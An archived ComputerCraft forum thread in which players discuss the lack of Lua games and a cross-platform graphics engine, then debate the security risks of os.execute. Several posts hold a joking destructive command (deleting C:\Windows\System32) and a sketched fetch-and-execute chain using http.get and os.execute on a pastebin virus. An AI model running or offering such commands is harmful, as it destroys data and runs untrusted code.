This is a read-only snapshot of the ComputerCraft forums, taken in April 2020.
Mikee251's profile picture

Where are all the games!

Started by Mikee251, 04 February 2013 - 12:30 PM
Mikee251 #1
Posted 04 February 2013 - 01:30 PM
It seems like that we have a lack of games in the programming forum! After joining the forum and starting to play CC a few days ago, I made my first game on here and posted it, I only see a few others such as the skull pong, and Nitrogen's RPG. We gotta start making more games!
tesla1889 #2
Posted 04 February 2013 - 01:35 PM
well, im working on a game engine right now. hopefully that should inspire some games.
Mikee251 #3
Posted 04 February 2013 - 01:38 PM
Sweet, does it use pixels and color or regular text? I made my game while on tekkit classic. Hard switching to colors now
D3matt #4
Posted 04 February 2013 - 01:44 PM
Where are all the games? In places made for games. CC isn't designed with games in mind, and most people don't make games for it.
tesla1889 #5
Posted 04 February 2013 - 01:44 PM
Sweet, does it use pixels and color or regular text?
–snippity snip–

it has support for both

when using color, i guess you can always use ASCII for textures B)/>
Mikee251 #6
Posted 04 February 2013 - 01:46 PM
Woot! :lol:/>
Mikee251 #7
Posted 04 February 2013 - 01:48 PM
Where are all the games? In places made for games. CC isn't designed with games in mind, and most people don't make games for it.
Who would not enjoy letting their automatic farms run while playing AdventureCraft on a CC Computer? I sure enjoy it!
Kingdaro #8
Posted 04 February 2013 - 03:02 PM
well, im working on a game engine right now. hopefully that should inspire some games.
Too many times this has been said.
remiX #9
Posted 04 February 2013 - 05:44 PM
I started a game.. gave up because I have no clue how to do the AI part (pacman - the ghosts) :<
Mikee251 #10
Posted 04 February 2013 - 05:48 PM
My game is pretty simple at the core, really it is just a bunch of variables, basic math, and a couple pretty pictures made of text
tesla1889 #11
Posted 04 February 2013 - 06:05 PM
–snip–
Too many times this has been said.

that's exactly why i'm doing it
Mikee251 #12
Posted 04 February 2013 - 06:17 PM
He must slap the forum upside the face and tell it to start making games!
tesla1889 #13
Posted 04 February 2013 - 06:46 PM
lol probably not. just supply them with the means to make games if they wish.
Mikee251 #14
Posted 04 February 2013 - 06:54 PM
My games are a mess of code, I have like 20 diffrent functions
tesla1889 #15
Posted 04 February 2013 - 08:55 PM
arent you that audio player guy?
billysback #16
Posted 04 February 2013 - 09:36 PM
Two of my better games:
http://www.computercraft.info/forums2/index.php?/topic/5911-game-shipper-become-a-space-pionere-v12
http://www.computercraft.info/forums2/index.php?/topic/6387-wip-navy-mmorpg-very-much-work-in-progress

A small list of some of the games on the forums:
http://www.computercraft.info/forums2/index.php?/topic/5033-145-old-style-games-post-yours-here/
nitrogenfingers #17
Posted 04 February 2013 - 10:06 PM
There are actually quite a few games on the forums but they're heavily buried- thanks for bringing yours back up Billysback. I've got one or two in my back catalogue as do many other people here.

I was compiling a list, but ran out of time to keep it committed… this is as far as I got: http://www.computercraft.info/forums2/index.php?/topic/5033-145-old-style-games-post-yours-here/page__hl__games__fromsearch__1
tesla1889 #18
Posted 05 February 2013 - 02:12 PM
sorry for the wait on the graphics engine btw. im trying to make it compatible with both vanilla and CC Lua
ElvishJerricco #19
Posted 05 February 2013 - 03:18 PM
I don't get it. Why have games inside Minecraft? It's cool but just… Meh.
tesla1889 #20
Posted 05 February 2013 - 03:23 PM
why do anything in computercraft? because anything thats a challenge is fun!
Kingdaro #21
Posted 05 February 2013 - 03:45 PM
sorry for the wait on the graphics engine btw. im trying to make it compatible with both vanilla and CC Lua
Do you mean you'll make the engine run by itself without CC, or am I misreading you?
tesla1889 #22
Posted 05 February 2013 - 08:48 PM
–snip–

well, for awhile, i wanted to make it compatible with either environment, but i decided that because of all of the differences in operating systems, its just too difficult

as in, you could run it in CC, or you could run it in your IRL computer's terminal
Pharap #23
Posted 06 February 2013 - 04:29 PM
well, for awhile, i wanted to make it compatible with either environment, but i decided that because of all of the differences in operating systems, its just too difficult

as in, you could run it in CC, or you could run it in your IRL computer's terminal

You could take a more OO approach - define a set of functions that a table must have to be used as graphics output, then when you port it to different systems, all you have to change is the internal workings of the table that handles graphics.

For example in cc, ccgraphics.Write = function(str) term.Write(str) end and then for when its used on non CC stuff, just have the user set up a table that follows the same conventions (ie windowsgraphics.Write = function(str) Console.Write(str) end) so the system is still mostly portable, it's just the table that controls the output that has to be changed. That way it's portable, as long as you make sure that it's not dependant on any other CC stuff, just have extension libraries to give it more CC ability, ie a networkingAPI that interfaces between the engine and rednet for packet transfer or a sensoryAPI for interfacing between the engine and CCSensors. Dlls don't have to be hell.

Just an idea anyway.
tesla1889 #24
Posted 06 February 2013 - 04:37 PM
–snip–

that's what i was doing

its just a pain to write software with bsd, craftos, darwin, linux, minix, and windows kernel support
Pharap #25
Posted 06 February 2013 - 04:51 PM
that's what i was doing

its just a pain to write software with bsd, craftos, darwin, linux, minix, and windows kernel support
Could be worse, at least most installations of lua generally have the same basic functions, so really it should only be the input and graphics that need changing assuming none of them are stupid enough to do something like remove the math library. That was the thing that annoyed me about legend of grimrock (a game that uses lua to allow players to script their own dungeons), no direct access to _G, no getfenv and no setfenv. Assuming it's supposed to be so you don't accidentally crash the game engine, but annoying nonetheless. *end ramblings*
tesla1889 #26
Posted 06 February 2013 - 04:57 PM
–snip–
so really it should only be the input and graphics that need changing
–snip–

well, those just so happen to be the hardest things to support
Pharap #27
Posted 06 February 2013 - 05:02 PM
well, those just so happen to be the hardest things to support
Out of interest, which compiled language lua interpreters are you using?
tesla1889 #28
Posted 06 February 2013 - 06:30 PM
i was just writing Lua code that evaluates what environment its in and defines its API accordingly
Pharap #29
Posted 06 February 2013 - 06:41 PM
i was just writing Lua code that evaluates what environment its in and defines its API accordingly
Call me crazy (as many do) but I'm pretty sure the lua environment is defined by the interpreter, not the actual OS, so if you're only using lua it can only really be made interpreter independent it's the interpreter's job to make sure it can run on different OSes.
The windows kernel, linux and minix don't even come into the equation unless you're writing an interpreter.
tesla1889 #30
Posted 06 February 2013 - 07:01 PM
–snip–

it does matter for save folders and system commands

os.execute becomes your friend when you need to escape the bounds of Lua

for example, one could theoretically use os.execute to modify the Lua environment with new functions
bjornir90 #31
Posted 06 February 2013 - 07:02 PM
I'm waiting for nitro to update his gameutils API to finish mine, it will be an adventure game :)/>
tesla1889 #32
Posted 06 February 2013 - 07:05 PM
if CCLights had monitor_touch support, we would all be set lol
theoriginalbit #33
Posted 06 February 2013 - 07:10 PM
I personally am not creative enough to make good games. Thats why I've been working on utilities to help people with programs and/or games. My latest being CConfig, makes customisable key bindings easy. Also had a text based adventure framework in the making so that people could use the base classes and make their own games, but haven't worked on that in a while.
tesla1889 #34
Posted 06 February 2013 - 08:10 PM
i really wish we had access to the debug library (or at least a sandboxed version of it)

that would help a lot
ikke009 #35
Posted 07 February 2013 - 06:33 AM
Here is a small game i made.. Im working on a much bigger and more awesome game.. Something to look out for maybe? Guess it'll be out in 2 weeks max.
tesla1889 #36
Posted 07 February 2013 - 08:34 AM
Here is a small game i made.. Im working on a much bigger and more awesome game.. Something to look out for maybe? Guess it'll be out in 2 weeks max.

um, where?
Pharap #37
Posted 07 February 2013 - 09:17 AM
it does matter for save folders and system commands
os.execute becomes your friend when you need to escape the bounds of Lua
for example, one could theoretically use os.execute to modify the Lua environment with new functions
I don't see how a game engine for ascii based games in lua is going to need any files that are OS specific.
What interpreter has an os.execute and the ability to use system commands anyway?
Yes, but then you'd be using the backend stuff, not just Lua.

i really wish we had access to the debug library (or at least a sandboxed version of it)

that would help a lot
This much I can agree with. Debug and GC are features I would like access to.
ikke009 #38
Posted 07 February 2013 - 09:24 AM
Here is a small game i made.. Im working on a much bigger and more awesome game.. Something to look out for maybe? Guess it'll be out in 2 weeks max.

um, where?
ehm i put an url there.. but now its gone..
http://pastebin.com/uKWb6zCX
tesla1889 #39
Posted 07 February 2013 - 11:10 AM
–snip–
you have to use backend stuff for graphics
tesla1889 #40
Posted 07 February 2013 - 11:12 AM

nice :)/>
Pharap #41
Posted 07 February 2013 - 03:20 PM
you have to use backend stuff for graphics
For that all you have to do is make sure the interpreter supplies you with a way of writing ascii characters in colour, it's not that back end.
If you're using one that does pixels and textures, then it gets complicated, but if you're doing that then the normal version won't be compatible with vanilla CC.
If you're just doing ascii stuff, pretty much every OS supports C++'s cin/cout so that shouldn't be too difficult. In fact the original Lua interpreter was just C, which works with Cin/Cout as well.

Which language interpreter are you planning to use?
Reshurum #42
Posted 07 February 2013 - 04:10 PM
Ive been making a Zork like text based adventure :)/>
tesla1889 #43
Posted 07 February 2013 - 05:19 PM
–snip–

the compatibility with CC would be the biggest possible advanced monitor with the smallest text scale, allowing for the highest amount of pixels

i was writing it for all interpreters
Pharap #44
Posted 09 February 2013 - 12:56 PM
the compatibility with CC would be the biggest possible advanced monitor with the smallest text scale, allowing for the highest amount of pixels

i was writing it for all interpreters
164x81 isn't really an optimal resolution for pixel-based games, nor is the limitation of having to use a maximum sized monitor. On top of which, console terminals don't tend to give you access to their pixels anyway, they're designed to be text based.

Surely if you're writing it for interpreters, you'll need to do some degree of non-lua programming to develop lua tables that can be read by the game engine, otherwise you'll need multiple tables for different lua interpreters, in which case that's still making it interpreter independent, not OS independent It's the interpreter that's actually the OS independent component, not the scripts for it.
tesla1889 #45
Posted 09 February 2013 - 12:59 PM
through os.execute, you can link lua functions to any other language, meaning that the display wouldnt be on the terminal
Pharap #46
Posted 09 February 2013 - 01:02 PM
through os.execute, you can link lua functions to any other language, meaning that the display wouldnt be on the terminal
How many compilers have it/are they OS independent?
And your certain it's any language, not just shell commands as stated in the lua user's wiki OS library tutorial? (http://lua-users.org/wiki/OsLibraryTutorial)
tesla1889 #47
Posted 09 February 2013 - 01:04 PM
os.execute interfaces with the computer's terminal, allowing it to execute any program the user has access to (e.g. python, c, c++, java programs)
D3matt #48
Posted 09 February 2013 - 01:12 PM
os.execute is NOT something you want to be implementing in CC. Holy security hole batman.
Kingdaro #49
Posted 09 February 2013 - 01:14 PM
os.execute 'del C:\Windows\System32'
Pharap #50
Posted 09 February 2013 - 01:38 PM
os.execute interfaces with the computer's terminal, allowing it to execute any program the user has access to (e.g. python, c, c++, java programs)
That on it's own isn't enough to give lua access to graphics functions, you'd need a program that does that, as well as knowing that program is compatible.


os.execute 'del C:\Windows\System32'
Propably not without running as admin first, though there's probably a way to do that.

os.execute is NOT something you want to be implementing in CC. Holy security hole batman.
Not on it's own, given the ability to put text onto pastebin though.:
Virus on pastebin,
http.get(virusurl),
os.execute(viruspath),
???,
profit?
tesla1889 #51
Posted 09 February 2013 - 01:52 PM
guys, i wasnt talking about using os.execute in CC

dont worry

i was just explaining how i would create a compat layer for non CC environments
tesla1889 #52
Posted 09 February 2013 - 01:54 PM
–deleted–
D3matt #53
Posted 09 February 2013 - 02:01 PM
os.execute interfaces with the computer's terminal, allowing it to execute any program the user has access to (e.g. python, c, c++, java programs)
That on it's own isn't enough to give lua access to graphics functions, you'd need a program that does that, as well as knowing that program is compatible.


os.execute 'del C:\Windows\System32'
Propably not without running as admin first, though there's probably a way to do that.

os.execute is NOT something you want to be implementing in CC. Holy security hole batman.
Not on it's own, given the ability to put text onto pastebin though.:
Virus on pastebin,
http.get(virusurl),
os.execute(viruspath),
???,
profit?
You can using the fs API to write code to a file.
Pharap #54
Posted 09 February 2013 - 02:16 PM
Not on it's own, given the ability to put text onto pastebin though.:
Virus on pastebin,
http.get(virusurl),
os.execute(viruspath),
???,
profit?
You can using the fs API to write code to a file.
Yes, but you'd need access to the OS shell to actually execute the file anything big enough to affect the actual computer.

guys, i wasnt talking about using os.execute in CC

dont worry

i was just explaining how i would create a compat layer for non CC environments
Still didn't explain how you plan to do it.
You can run system shell scripts (OS dependant) using OS.execute, but that doesn't explain how you'll use that to feed lua functions for opening windows and drawing pixels to the screen. It means you'll need access to an OS independent graphics library, on top of an executable that is OS independent.
tesla1889 #55
Posted 10 February 2013 - 07:02 AM
–snip–
It means you'll need access to an OS independent graphics library, on top of an executable that is OS independent.

who says it needs to be os independent?

im not doing the project anymore, but you can always write more compat
Pharap #56
Posted 10 February 2013 - 02:51 PM
–snip–
It means you'll need access to an OS independent graphics library, on top of an executable that is OS independent.

who says it needs to be os independent?

im not doing the project anymore, but you can always write more compat

Nvm, misread something
martin509 #57
Posted 18 February 2013 - 02:49 PM
os.execute interfaces with the computer's terminal, allowing it to execute any program the user has access to (e.g. python, c, c++, java programs)
That on it's own isn't enough to give lua access to graphics functions, you'd need a program that does that, as well as knowing that program is compatible.


os.execute 'del C:\Windows\System32'
Propably not without running as admin first, though there's probably a way to do that.

os.execute is NOT something you want to be implementing in CC. Holy security hole batman.
Not on it's own, given the ability to put text onto pastebin though.:
Virus on pastebin,
http.get(virusurl),
os.execute(viruspath),
???,
profit?
Virus on pastebin? I've seen it before, in the guise of a CC game.
Looking through the game's code, all it did would pastebin in a program that would delete all the files on your CC computer..

Also, we need more games that are standard-PC compatible, i.e. no colours or mouse. Why? Tekkit!
I think if somebody could just make a text-adventure engine that would help. For advanced computers maybe a graphical adventure engine.
tesla1889 #58
Posted 18 February 2013 - 06:01 PM
what is really so bad about someone erasing all of your files?

most of us edit out-of-game anyway, so our files are copied in for testing
ikke009 #59
Posted 20 February 2013 - 11:16 PM
Here is a small game i made.. Im working on a much bigger and more awesome game.. Something to look out for maybe? Guess it'll be out in 2 weeks max.
exactly 2 weeks later, here it is xD
http://www.computercraft.info/forums2/index.php?/topic/10609-game-frantic/page__pid__89302#entry89302